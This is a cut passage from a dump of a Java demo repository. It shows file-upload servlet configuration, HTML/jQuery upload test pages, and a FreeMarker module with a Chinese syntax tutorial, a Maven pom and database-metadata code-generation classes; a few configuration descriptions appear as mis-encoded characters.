name=\"tempPath\" value=\"D:\\develop\\workspace\\file-upload-download\\src\\main\\webapp\\temp\" description=\"ϴʱļ·\" />\n    \t<item name=\"fileType\" value=\"jpg|png|zip|mp4\" description=\"ϴļͣá|ָȫСд\" />\n    \t<item name=\"sizeMax\" value=\"10485760\" description=\"ϴĶļֵ,Ĭ10M\" />\n    \t<item name=\"fileSizeMax\" value=\"2097152\" description=\"ļֵĬ2M\" />\n    \t<item name=\"dbSavePathStartFolder\" value=\"upload\" description=\"ݿ洢·ʼļ\" />\n    \t<item name=\"isDeleteTempFile\" value=\"true\" description=\"Ƿɾʱļ\" />\n    </category>  \n     \n</system>"
  },
  {
    "path": "jun_java_plugins/jun_fileupload/src/main/webapp/WEB-INF/web.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<web-app xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txmlns=\"http://java.sun.com/xml/ns/javaee\"\n\txsi:schemaLocation=\"http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd\"\n\tversion=\"2.5\">\n\t<display-name>fileuploaddownload</display-name>\n\t<welcome-file-list>\n\t\t<welcome-file>index.html</welcome-file>\n\t\t<welcome-file>index.htm</welcome-file>\n\t\t<welcome-file>index.jsp</welcome-file>\n\t\t<welcome-file>default.html</welcome-file>\n\t\t<welcome-file>default.htm</welcome-file>\n\t\t<welcome-file>default.jsp</welcome-file>\n\t</welcome-file-list>\n\n\t<servlet>\n\t\t<servlet-name>UploadHandleServlet</servlet-name>\n\t\t<servlet-class>com.thinkive.demo.servlet.UploadHandleServlet</servlet-class>\n\t</servlet>\n\n\t<servlet-mapping>\n\t\t<servlet-name>UploadHandleServlet</servlet-name>\n\t\t<url-pattern>/servlet/UploadHandleServlet</url-pattern>\n\t</servlet-mapping>\n</web-app>"
  },
  {
    "path": "jun_java_plugins/jun_fileupload/src/main/webapp/index.jsp",
    "content": "<html>\n<body>\n<h2>Hello World!</h2>\n</body>\n</html>\n"
  },
  {
    "path": "jun_java_plugins/jun_fileupload/src/main/webapp/input_demo.html",
    "content": "<html>\n\t<head>\n\t\t<meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0\"/>\n\t</head>\n\t<body>\n\t\t相册选择图片：<input id=\"test1\" type=\"file\" accept=\"image/*\"/><br><br>\n\t\t强制摄像头图片：<input id=\"test2\" type=\"file\" accept=\"image/*\" capture=\"camera\"/><br><br>\n\t\t\t\t强制前置摄像头图片：<input id=\"test2\" type=\"file\" accept=\"image/*\" capture=\"user\"/><br><br>\n\n\n\t\t相册选择视频：<input id=\"test3\" type=\"file\"  accept=\"video/*\" onChange=\"getFile\"/><br><br>\n\t\t强制摄像头视频：<input id=\"test4\" type=\"file\"  accept=\"video/*\" capture=\"camcorder\"/><br>\n\t\t强制前置摄像头视频：<input id=\"test4\" type=\"file\"  accept=\"video/*\" capture=\"user\"/><br>\n\n\t</body>\n\t<script>\n\t\tdocument.getElementById(\"test1\").addEventListener(\"change\",getFile);\n\t\tdocument.getElementById(\"test2\").addEventListener(\"change\",getFile);\n\t\tdocument.getElementById(\"test3\").addEventListener(\"change\",getFile);\n\t\tdocument.getElementById(\"test4\").addEventListener(\"change\",getFile);\n\t\n\t\tfunction getFile(e){\n\t\t\talert('获取到文件：'+this.files[0].name);\n\t\t}\n\t</script>\n</html>"
  },
  {
    "path": "jun_java_plugins/jun_fileupload/src/main/webapp/uploadTest.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n<meta charset=\"UTF-8\">\n<meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n<meta http-equiv=\"X-UA-Compatible\" content=\"ie=edge\">\n<title>上传图片</title>\n<script src=\"https://cdn.bootcss.com/jquery/3.4.1/jquery.min.js\"></script>\n</head>\n<body>\n\t<div style=\"border: 1px solid red;\">\n\t\t<h2>打开需要上传的文件 multiple属性多选  accept限制选择文件类型</h2>\n\t\t<!-- <input type=\"file\" id=\"file\" accept=\".java\" onchange=\"uploadfile(event);\" /> -->\n\t\t<input type=\"file\" id=\"file1\" multiple onchange=\"uploadfile(event);\" />\n\t\t<div id=\"result1\"></div>\n\t</div>\n\n\t<br>\n\t<br>\n\n\t<div style=\"border: 1px solid red;\">\n\t\t<h2>显示本地图片，点击按钮上传（多文件需要在回显的时候稍作修改）</h2>\n\t\t<input type=\"file\" id=\"file2\" accept=\"image/*\" onchange=\"uploadfile2(event);\" />\n\t\t<div id=\"result2\">\n\t\t\t<img src=\"\" alt=\"\" id=\"img2\" >\n\t\t</div>\n\t\t<input type=\"button\" value=\"点击上传\" id=\"button2\" onclick=\"submitFunc2();\" />\n\t</div>\n\t\n\t<br>\n\t<br>\n\n\t<div style=\"border: 1px solid red;\">\n\t\t<h2>根据显示上传成功后的路径，显示服务器上的图片文件（多文件需要在回显的时候稍作修改）</h2>\n\t\t<input type=\"file\" id=\"file3\" accept=\"image/*\" onchange=\"uploadfile3(event);\" />\n\t\t<div id=\"result3\">\n\t\t\t<img src=\"\" alt=\"\" id=\"img3\" >\n\t\t</div>\n\t</div>\n\t\n\t<br>\n\t<br>\n\t\n\t<div style=\"border: 1px solid red;\">\n\t\t<h2>js 触发input框的事件，兼容iOS</h2>\n\t\t<input style=\"display:none\" type=\"file\" id=\"file4\" accept=\"image/*\"/>\n\t\t<div id=\"result4\">\n\t\t\t点击选择图片\n\t\t\t<img src=\"\" alt=\"\" id=\"img4\" >\n\t\t</div>\n\t</div>\n\t\n\t<script>\n    // 展示上传的文件\n    function uploadfile(event) {\n        //多种方式获取file\n        //var files = document.getElementById('file1').files[0];\n        //var files = $(\"#file1\")[0].files;\n        var files = event.target.files;\n        for(var i=0;i<files.length;i++)\n       \t{\n        \tvar file = files[i];\n        \tvar fileName = file.name;\n    \t\tvar fileSize = file.size;\n    \t\tconsole.log(\"读取文件：\"+fileName+\",大小为：\"+fileSize)\n    \t\t\n    \t\tvar reads = new FileReader();\n        \treads.readAsText(file, 'utf-8');\n            reads.onload = function (e) {\n                console.log('读取操作完成时触发 ---> ',e)\n                \n                // document.getElementById('result').innerText = this.result\n                // document.getElementById('result').innerText = e.target.result\n                \n                $(\"#result1\").append(e.target.result);\n            };\n            reads.onloadstart = function(e) {\n                console.log('读取操作开始时触发 ---> ', e)\n            }\n            reads.onloadend = function(e) {\n            \t//不管是失败还是成功都会触发\n                console.log('读取操作结束时（要么成功，要么失败）触发 ---> ', e)\n            }\n            reads.onprogress = function(e) {\n                console.log('读取进度 ---> ', e)\n            }\n            reads.onabort = function(e) {\n                console.log('读取中断时触发 ---> ', e)\n            }\n            reads.onerror = function(e) {\n                console.log('读取操作发生错误时触发 ---> ', e)\n            }\n       \t}\n    }\n\n    // 显示本地资源，点击按钮上传\n    function uploadfile2(event) {\n        let reads = new FileReader();\n        file = document.getElementById('file2').files[0];\n        reads.readAsDataURL(file);\n        reads.onload = function (e) {\n            document.getElementById('img2').src = this.result;\n        };\n    }\n    function submitFunc2()\n    {\n    \tvar files = $(\"#file2\")[0].files;\n    \tvar succes_callback = function(data){\n\t\t\tconsole.log(data);\n    \t}\n    \tvar error_callback = function(err){\n    \t\tconsole.log(err);\n    \t}\n    \tajaxFunc(files,{},succes_callback,error_callback);\n    }\n    \n    \n    //根据显示上传成功后的路径，显示服务器上的图片文件\n    function uploadfile3() {\n    \tvar files = $(\"#file3\")[0].files;\n    \tvar succes_callback = function(data){\n\t\t\tconsole.log(data);\n\t\t\tvar reuslt = JSON.parse(data);\n\t\t\tfor(var key in reuslt.data)\n\t\t\t{\n\t\t\t\t$(\"#img3\").attr(\"src\",reuslt.data[key]);\n\t\t\t}\n\t\t\t\n    \t}\n    \tvar error_callback = function(err){\n    \t\tconsole.log(err);\n    \t}\n    \tajaxFunc(files,{},succes_callback,error_callback);\n    }\n    \n    \n  \t//隐藏的input框的change事件\n\t$(\"#file4\").bind(\"change\",function(e){\n\t\tvar files = $(\"#file4\")[0].files;\n    \tvar succes_callback = function(data){\n\t\t\tconsole.log(data);\n\t\t\tvar reuslt = JSON.parse(data);\n\t\t\tfor(var key in reuslt.data)\n\t\t\t{\n\t\t\t\t$(\"#img4\").attr(\"src\",reuslt.data[key]);\n\t\t\t}\n    \t}\n    \tvar error_callback = function(err){\n    \t\tconsole.log(err);\n    \t}\n    \tajaxFunc(files,{},succes_callback,error_callback);\n\t});\n\t//触发input框的点击事件，通过点击事件，触发input框弹出选择文件，进而触发input框的change事件\n\t$(\"#result4\").bind(\"click\",function(event){\n\t\tclick_index = $(this).attr(\"index\");\n\t\tmockClick(\"#file4\");\n\t});\n\t//触发click事件\n\tvar mockClick = function(selector) {\n\t    //获取btn\n\t    var btn = document.querySelector(selector);\n\t    //创建event\n\t    var event = document.createEvent(\"MouseEvents\");\n\t    //初始化event\n\t    event.initMouseEvent(\"click\",true,true,document.defaultView,0,0,0,0,0,false,false,false,false,0,null);\n\t    //触发事件\n\t    btn.dispatchEvent(event);\n\t}\n    \n    \n    // files:文件对象数组 \n    // param：普通参数json\n    // succes_callback：成功回调  \n    // error_callback：失败回调\n    function ajaxFunc(files,param,succes_callback,error_callback){\n    \tif(files.length==0)\n    \t{\n    \t\talert(\"没有需要上传的文件\");\n    \t\treturn false;\n    \t}\n    \t\n    \tvar formData = new FormData();  // 创建form对象\n    \tfor(var i=0;i<files.length;i++)\n    \t{\n    \t\tvar name = files[i].name;\n    \t\tformData.append(name, files[i]);  // 通过append向form对象添加数据\n    \t\tformData.append('text_param', \"普通字符串参数\");  // 如果还需要传替他参数的话\n    \t}\n\t\t\n\t\t$.ajax({\n\t\t\turl: '/servlet/UploadHandleServlet', //请求的接口地址\n\t\t\ttype: 'POST',\n\t\t\tcache: false, //上传文件不需要缓存\n\t\t\tdata: formData,\n\t\t\tprocessData: false, // 不要去处理发送的数据\n\t\t\tcontentType: false, // 不要去设置Content-Type请求头\n\t\t\tsuccess: function(data){\n\t\t\t\t//上传成功\n\t\t\t\tsucces_callback(data);\n\t\t\t},\n\t\t\terror: function(err){\n\t\t\t\terror_callback(err);\n\t\t\t}\n\t\t})\n    }\n</script>\n</body>\n</html>"
  },
  {
    "path": "jun_java_plugins/jun_freemarker/README.md",
    "content": "#### Description 功能\n1、freemarker作为视图层展示数据\n2、freemarker组合数据输出文本\n3、freemarker组合数据生成文件（代码生成）\n\n\n#### Installation 安装使用\n\n1、配置POM\n2、直接参考Demo\n\n\n#### Documents 文档\n\n1、文档\n\n\n#### Feature 计划\n\n1、freemarker代码生成工具\n\n\n\n\n\n\n"
  },
  {
    "path": "jun_java_plugins/jun_freemarker/freemarker.md",
    "content": "语法详解\n数据类型\n和java不同，FreeMarker不需要定义变量的类型，直接赋值即可。\n\n字符串： value = \"xxxx\" 。如果有特殊字符 string = r\"xxxx\" 。单引号和双引号是一样的。\n\n数值：value = 1.2。数值可以直接等于，但是不能用科学计数法。\n\n布尔值：true or  false。\n\nList集合：list = [1,2,3] ; list=[1..100] 表示 1 到 100 的集合，反之亦然。\n\nMap集合：map = {\"key\" : \"value\" , \"key2\" : \"value2\"}，key 必须是字符串哦！\n\n实体类：和EL表达式差不多，直接点出来。\n\n字符串操作\n字符串连接：可以直接嵌套${\"hello , ${name}\"} ； 也可以用加号${\"hello , \" + name}\n\n字符串截取：string[index]。index 可以是一个值，也可以是形如 0..2 表示下标从0开始，到下标为2结束。一共是三个数。\n\n比较运算符\n== （等于），!= （不等于），gt（大于），gte（大于或者等于），lt（小于），lte（小于或者等于）。不建议用 >，<  可能会报错！\n\n一般和 if 配合使用\n\n内建函数\nFreeMarker 提供了一些内建函数来转换输出，其结构：变量?内建函数，这样就可以通过内建函数来转换输出变量。\n\n1. html： 对字符串进行HTML编码；\n2. cap_first： 使字符串第一个字母大写；\n3. lower_case： 将字符串转成小写；\n4. upper_case： 将字符串转成大写；\n5. size： 获得集合中元素的个数；\n6. int： 取得数字的整数部分。\n\n变量空判断\n !  　　指定缺失变量的默认值；一般配置变量输出使用\n??   　判断变量是否存在。一般配合if使用 <#if value??></#if>\n\n宏指令\n可以理解为java的封装方法，供其他地方使用。宏指令也称为自定义指令，macro指令\n\n语法很简单：<#macro val > 声明macro </#macro>; 使用macro <@val />  \n\n命名空间\n\n可以理解为java的import语句，为避免变量重复。一个重要的规则就是:路径不应该包含大写字母，使用下划线_分隔词语，myName --> my_name\n\n语法很简单：<#import \"xxx.ftl\" as val> \n\n \n\n其他没有说明的语法是因为和java一样，没什么特别之处\n\n\n\n\nFreeMarker Web\n这里是和SpringMVC整合的，SpringMVC的配置就不多说了，笔者也写过相关的文章，同时也会提供源码\n\n导入相关的jar pom.xml\n \n<!-- freeMarker start -->\n    <dependency>\n         <groupId>org.freemarker</groupId>\n         <artifactId>freemarker</artifactId>\n         <version>2.3.20</version>\n     </dependency>\n     <dependency>\n          <groupId>org.springframework</groupId>\n          <artifactId>spring-context-support</artifactId>\n          <version>4.1.4.RELEASE</version>\n      </dependency>\n  </dependencies> \n  <!-- freeMarker end --> \n  \nspringmvc的配置文件：\n \n<!-- 整合Freemarker -->\n    <!-- 放在InternalResourceViewResolver的前面，优先找freemarker -->  \n    <bean id=\"freemarkerConfig\" class=\"org.springframework.web.servlet.view.freemarker.FreeMarkerConfigurer\">  \n        <property name=\"templateLoaderPath\" value=\"/WEB-INF/views/templates\"/>  \n    </bean>  \n    <bean id=\"viewResolver\" class=\"org.springframework.web.servlet.view.freemarker.FreeMarkerViewResolver\">  \n        <property name=\"prefix\" value=\"\"/>  \n        <property name=\"suffix\" value=\".ftl\"/>  \n        <property name=\"contentType\" value=\"text/html; charset=UTF-8\"/>\n    </bean> \nController 层\n \nimport org.springframework.stereotype.Controller;\nimport org.springframework.ui.Model;\nimport org.springframework.web.bind.annotation.RequestMapping;\n\n@Controller\npublic class HelloFreeMarkerController {\n    \n    @RequestMapping(\"/helloFreeMarker\")\n    public String helloFreeMarker(Model model) {\n        model.addAttribute(\"name\",\"ITDragon博客\");  \n        return \"helloFreeMarker\";\n    }\n\n} \n最后是Freemarker文件\n\n复制代码\n复制代码\n<html>  \n<head>  \n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\">  \n<title>FreeMarker Web</title>  \n</head>  \n<body>  \n    <h1>Hello ${name} !</h1>  \n</body>  \n</html> "
  },
  {
    "path": "jun_java_plugins/jun_freemarker/pom.xml",
    "content": "<?xml version=\"1.0\"?>\n<project\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\"\n\txmlns=\"http://maven.apache.org/POM/4.0.0\"\n\txmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">\n\t<modelVersion>4.0.0</modelVersion>\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>jun_freemarker</artifactId>\n\t<version>1.0</version>\n\t<packaging>war</packaging>\n\n\n\t<properties>\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t</properties>\n\n\t<dependencies>\n\t\t<!-- freeMarker start -->\n\t\t<!-- https://mvnrepository.com/artifact/org.freemarker/freemarker -->\n\t\t<dependency>\n\t\t\t<groupId>org.freemarker</groupId>\n\t\t\t<artifactId>freemarker</artifactId>\n\t\t\t<version>2.3.30</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-context-support</artifactId>\n\t\t\t<version>4.1.4.RELEASE</version>\n\t\t</dependency>\n\t\t<!-- freeMarker end -->\n\n\n\t\t<!-- 目标数据库，这里采用mysql -->\n\t\t<dependency>\n\t\t\t<groupId>mysql</groupId>\n\t\t\t<artifactId>mysql-connector-java</artifactId>\n\t\t\t<version>5.1.40</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>junit</groupId>\n\t\t\t<artifactId>junit</artifactId>\n\t\t\t<version>4.13</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.slf4j</groupId>\n\t\t\t<artifactId>slf4j-api</artifactId>\n\t\t\t<version>1.7.30</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.slf4j</groupId>\n\t\t\t<artifactId>slf4j-log4j12</artifactId>\n\t\t\t<version>1.7.30</version>\n\t\t</dependency>\n\t\t<!-- 添加servlet-api依赖 -->\n\t\t<dependency>\n\t\t\t<groupId>javax.servlet</groupId>\n\t\t\t<artifactId>javax.servlet-api</artifactId>\n\t\t\t<version>3.1.0</version>\n\t\t\t<scope>provided</scope>\n\t\t</dependency>\n\t</dependencies>\n\t<build>\n\t\t<finalName>jun_freemarker</finalName>\n\t</build>\n</project>\n"
  },
  {
    "path": "jun_java_plugins/jun_freemarker/src/main/java/com/jun/plugin/freemark/code/conf/PropertiesConfig.java",
    "content": "package com.jun.plugin.freemark.code.conf;\n\nimport java.io.InputStream;\nimport java.util.HashMap;\nimport java.util.Properties;\n\n/**\n * 读取*.properties配置文件\n */\npublic class PropertiesConfig {\n\n\t// 配置文件的map key:propertiesName value:PropertiesUtil对象\n\tprivate static HashMap<String, PropertiesConfig> propertiesMap = new HashMap<String, PropertiesConfig>();\n\n\t// 属性文件\n\tprivate Properties properties;\n\n\tprivate PropertiesConfig() {\n\n\t}\n\n\tpublic synchronized static PropertiesConfig getInstance(String propertiesName) {\n\n\t\tPropertiesConfig configUtil = propertiesMap.get(propertiesName);\n\n\t\tif (configUtil == null) {\n\t\t\tconfigUtil = new PropertiesConfig();\n\t\t\tconfigUtil.analysisXml(propertiesName);\n\t\t\tpropertiesMap.put(propertiesName, configUtil);\n\t\t}\n\n\t\treturn configUtil;\n\t}\n\n\tprivate void analysisXml(String propertiesName) {\n\t\tInputStream ins = getClass().getResourceAsStream(propertiesName);\n\t\tproperties = new Properties();\n\t\ttry {\n\t\t\tproperties.load(ins);\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\n\tpublic String getProperty(String key) {\n\t\treturn properties.getProperty(key);\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_freemarker/src/main/java/com/jun/plugin/freemark/code/conf/PropertiesService.java",
    "content": "package com.jun.plugin.freemark.code.conf;\n\n/**\n * properties服务类\n */\npublic class PropertiesService {\n\n\t/**\n\t * application配置文件\n\t * \n\t * @return\n\t */\n\tpublic static PropertiesConfig getApplicationConfig() {\n\t\treturn PropertiesConfig.getInstance(\"/application.properties\");\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_freemarker/src/main/java/com/jun/plugin/freemark/code/create/CreateJava.java",
    "content": "package com.jun.plugin.freemark.code.create;\n\nimport java.io.BufferedWriter;\nimport java.io.FileNotFoundException;\nimport java.io.FileWriter;\nimport java.io.IOException;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\nimport com.jun.plugin.freemark.code.entity.Columns;\nimport com.jun.plugin.freemark.code.entity.Table;\nimport com.jun.plugin.freemark.code.sql.SelectTableSql;\n\n/**\n * 编写一个代码生成的小程序\n * \n * @author shichenyang\n * \n */\npublic class CreateJava {\n\n\tpublic static Map<String, String> map=new HashMap<String, String>();\n\t\n\tstatic{\n\t\tmap.put(\"VARCHAR\", \"String\");\n\t\tmap.put(\"DECIMAL\", \"Double\");\n\t\tmap.put(\"DATE\", \"Date\");\n\t}\n\tpublic static void main(String[] args) {\n\t\tSelectTableSql updateSql = new SelectTableSql();\n\t\tList<Table> tables=null;\n\t\ttry {\n\t\t\ttables = updateSql.getSchema();\n\t\t} catch (Exception e1) {\n\t\t\te1.printStackTrace();\n\t\t}\n\n\t\t\n\t\tfor (Table table : tables) {\n\t\t\tStringBuffer java = new StringBuffer();\n\t\t\tString tableName=table.getTableName().substring(0, 1).toUpperCase()+table.getTableName().substring(1);\n\t\t\tjava.append(\"package com.yang.model;\\n\\n\");\n\t\t\tjava.append(\"import java.util.Date;\\n\\n\");\n\t\t\tjava.append(\"public class \" + tableName + \"{\\n\");\n\t\t\t// 循环一下列信息\n\t\t\tfor (Columns item : table.getList()) {\n\t\t\t\tjava.append(\"\t//\" + item.getREMARKS()+\"\\n\");// 加上注释\n\t\t\t\t// COLUMN_TYPE字段类型，COLUMN_NAME字段名称\n\t\t\t\tjava.append(\"\tprivate \" + map.get(item.getColumnType()) + \" \"\n\t\t\t\t\t\t+ item.getColumnName() + \";\\n\");\n\n\t\t\t}\n\t\t\tjava.append(\"\\n\");\n\t\t\t// 循环一下列信息\n\t\t\tfor (Columns item : table.getList()) {\n\t\t\t\tString name = item.getColumnName();\n\t\t\t\t// 拼接一下get方法\n\t\t\t\tjava.append(\"\tpublic \" + map.get(item.getColumnType()) + \" get\"\n\t\t\t\t\t\t+ name.substring(0, 1).toUpperCase()\n\t\t\t\t\t\t+ name.substring(1) + \"(){\\n\");\n\t\t\t\tjava.append(\"\t\treturn \" + name + \";\\n\");\n\t\t\t\tjava.append(\"\t}\\n\");\n\n\t\t\t\t// 拼接一下set方法\n\t\t\t\tjava.append(\"\tpublic void\" + \" set\"\n\t\t\t\t\t\t+ name.substring(0, 1).toUpperCase()\n\t\t\t\t\t\t+ name.substring(1) + \"(\" + map.get(item.getColumnType()) + \" \"\n\t\t\t\t\t\t+ name + \"){\\n\");\n\t\t\t\tjava.append(\"\t\tthis. \" + name + \"=\" + name + \";\\n\");\n\t\t\t\tjava.append(\"\t}\\n\");\n\t\t\t}\n\n\t\t\tjava.append(\"}\\n\");\n\n\t\t\tBufferedWriter writer = null;\n\t\t\ttry {\n\t\t\t\twriter = new BufferedWriter(new FileWriter(\"D:\\\\\"\n\t\t\t\t\t\t+ tableName + \".java\"));\n\t\t\t\twriter.write(java.toString());\n\t\t\t} catch (FileNotFoundException e) {\n\t\t\t\te.printStackTrace();\n\t\t\t} catch (IOException e) {\n\t\t\t\te.printStackTrace();\n\t\t\t} finally {\n\t\t\t\ttry {\n\t\t\t\t\twriter.close();\n\t\t\t\t} catch (IOException e) {\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_freemarker/src/main/java/com/jun/plugin/freemark/code/entity/Columns.java",
    "content": "package com.jun.plugin.freemark.code.entity;\n/**\n * 实体类\n * @author shichenyang89@gmail.com\n *\n */\npublic class Columns {\n\t//列名\n\tprivate String columnName;\n\t//列类型\n\tprivate String columnType;\n\t//备注\n\tprivate String REMARKS;\n\t//大小\n\tprivate int datasize;\n\tprivate int digits;\n\t//是否为空\n\tprivate String nullable;\n\tpublic String getColumnName() {\n\t\treturn columnName;\n\t}\n\tpublic void setColumnName(String columnName) {\n\t\tthis.columnName = columnName;\n\t}\n\tpublic String getColumnType() {\n\t\treturn columnType;\n\t}\n\tpublic void setColumnType(String columnType) {\n\t\tthis.columnType = columnType;\n\t}\n\tpublic String getREMARKS() {\n\t\treturn REMARKS;\n\t}\n\tpublic void setREMARKS(String rEMARKS) {\n\t\tREMARKS = rEMARKS;\n\t}\n\tpublic int getDatasize() {\n\t\treturn datasize;\n\t}\n\tpublic void setDatasize(int datasize) {\n\t\tthis.datasize = datasize;\n\t}\n\tpublic int getDigits() {\n\t\treturn digits;\n\t}\n\tpublic void setDigits(int digits) {\n\t\tthis.digits = digits;\n\t}\n\tpublic String getNullable() {\n\t\treturn nullable;\n\t}\n\tpublic void setNullable(String nullable) {\n\t\tthis.nullable = nullable;\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_freemarker/src/main/java/com/jun/plugin/freemark/code/entity/Table.java",
    "content": "package com.jun.plugin.freemark.code.entity;\n\nimport java.util.ArrayList;\nimport java.util.List;\n/**\n * 实体类\n * @author shichenyang89@gmail.com\n *\n */\npublic class Table {\n\t//表名称\n\tprivate String tableName;\n\t//表含义\n\tprivate String tableRemarks;\n\t//列集合\n\tprivate List<Columns> list=new ArrayList<Columns>();\n\tpublic String getTableName() {\n\t\treturn tableName;\n\t}\n\tpublic void setTableName(String tableName) {\n\t\tthis.tableName = tableName;\n\t}\n\tpublic String getTableRemarks() {\n\t\treturn tableRemarks;\n\t}\n\tpublic void setTableRemarks(String tableRemarks) {\n\t\tthis.tableRemarks = tableRemarks;\n\t}\n\tpublic List<Columns> getList() {\n\t\treturn list;\n\t}\n\tpublic void setList(List<Columns> list) {\n\t\tthis.list = list;\n\t}\n\t\n\t\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_freemarker/src/main/java/com/jun/plugin/freemark/code/fm/FreeMarker.java",
    "content": "package com.jun.plugin.freemark.code.fm;\n\nimport java.io.BufferedWriter;\nimport java.io.File;\nimport java.io.FileOutputStream;\nimport java.io.OutputStreamWriter;\nimport java.io.Writer;\nimport java.text.SimpleDateFormat;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\nimport org.apache.log4j.Logger;\n\n\nimport freemarker.template.Configuration;\nimport freemarker.template.Template;\n\n/**\n * 生成表设计\n * @author shichenyang89@gmail.com\n * \n */\npublic class FreeMarker {\n\tSimpleDateFormat format=new SimpleDateFormat();\n\n\t//日志对象\n\tprivate static Logger logger=Logger.getLogger(FreeMarker.class);\n\tprivate Configuration configuration = null;\n\n\tpublic static void main(String[] args) throws Exception {\n\t\tlogger.debug(\"开始生成表\");\n//\t\tnew FreeMarker().create();\n\t\tlogger.debug(\"生成结束\");\n\t}\n\n\t@SuppressWarnings(\"deprecation\")\n\tpublic FreeMarker() {\n\t\tconfiguration = new Configuration();\n\t\tconfiguration.setDefaultEncoding(\"utf-8\");\n\t}\n\n\t/**\n\t * 生成表设计\n\t * @throws Exception\n\t */\n//\tpublic void create() throws Exception {\n//\t\tMap<String, Object> map = new HashMap<String, Object>();\n//\t\t\n//\t\tSelectTableSql updateSql = new SelectTableSql();\n//\t\t//第一步，加载模板\n//\t\tconfiguration.setClassForTemplateLoading(this.getClass(), \"/\");\n//\t\tTemplate template = configuration.getTemplate(\"info.ftl\");\n//\t\t//设置文件输出位置\n//\t\tFile outFile = new File(\"D:/outFile.doc\");\n//\n//\t\t//如果文件输出位置不存在，先进行创建\n//\t\tif (!outFile.getParentFile().exists()) {\n//\t\t\toutFile.getParentFile().mkdirs();\n//\t\t}\n//\n//\t\t//增加输出流\n//\t\tWriter out = new BufferedWriter(new OutputStreamWriter(\n//\t\t\t\tnew FileOutputStream(outFile)));\n//\t\t//第二步，获取数据库数据\n//\t\tList<Table> tables = updateSql.getSchema();\n//\t\tmap.put(\"tables\", tables);\n//\t\t//最后一步，调用freemaker引擎方法\n//\t\ttemplate.process(map, out);\n//\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_freemarker/src/main/java/com/jun/plugin/freemark/code/sql/SelectTableSql.java",
    "content": "package com.jun.plugin.freemark.code.sql;\n\nimport java.sql.Connection;\nimport java.sql.DatabaseMetaData;\nimport java.sql.DriverManager;\nimport java.sql.ResultSet;\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Properties;\n\nimport com.jun.plugin.freemark.code.conf.PropertiesConfig;\nimport com.jun.plugin.freemark.code.conf.PropertiesService;\nimport com.jun.plugin.freemark.code.entity.Columns;\nimport com.jun.plugin.freemark.code.entity.Table;\n/**\n * 查询数据库表信息\n * @author shichenyang89@gmail.com\n *\n */\npublic class SelectTableSql {\n\tprivate String name;\n\tprivate int age;\n\t\n\tpublic String getName() {\n\t\treturn name;\n\t}\n\n\tpublic void setName(String name) {\n\t\tthis.name = name;\n\t}\n\n\tpublic int getAge() {\n\t\treturn age;\n\t}\n\n\tpublic void setAge(int age) {\n\t\tthis.age = age;\n\t}\n\n\tprivate static Connection getConnection = null;\n\n\t/**\n\t * 获取数据库连接\n\t * \n\t * @param driver 驱动\n\t * @param pwd 密码\n\t * @param user 用户\n\t * @param url 连接字符串\n\t * @return 连接\n\t */\n\tpublic static Connection getConnections() {\n\t\ttry {\n\t\t\tPropertiesConfig config = PropertiesService.getApplicationConfig();\n\t\t\tProperties props = new Properties();\n\t\t\t//针对于oracle数据库做特殊处理\n\t\t\tif(config.getProperty(\"database.name\").equals(\"oracle\")){\n\t\t\t\tprops.put(\"remarksReporting\", \"true\");\n\t\t\t}\n\t\t\tprops.put(\"user\", config.getProperty(\"jdbc.username\"));\n\t\t\tprops.put(\"password\", config.getProperty(\"jdbc.password\"));\n\t\t\tClass.forName(config.getProperty(\"jdbc.driver\"));\n\t\t\tgetConnection = DriverManager.getConnection(config.getProperty(\"jdbc.url\"), props);\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn getConnection;\n\t}\n\n\t/**\n\t * 获取数据库信息\n\t * @return\n\t * @throws Exception\n\t */\n\tpublic List<Table> getSchema() throws Exception {\n//\t\tString schema;\n\t\tgetConnection=getConnections();\n\t\tDatabaseMetaData metaData= getConnection.getMetaData();//获得元数据\n\t\t//下面这一行,获得数据库所有表信息\n\t\tResultSet result= metaData.getTables(getConnection.getCatalog(), \"root\", null, new String[]{\"TABLE\"});\n\t\tList<Table> list=new ArrayList<Table>();\n\t\twhile (result.next()) {// 判断有没有下一行\n\t\t\t//获得表名\n\t\t\tString tableNmae=result.getString(\"TABLE_NAME\");\n\t\t\t//获得表的注释\n\t\t\tString tableRemarks=result.getString(\"REMARKS\");\n\t\t\t\n\t\t\tlist.add(crateTbale(tableNmae,tableRemarks));\n\t\t\t//这个是我自己生成表的前缀\n\t\t\t/*if(tableNmae.length()>=8){\n\t\t\t\tString 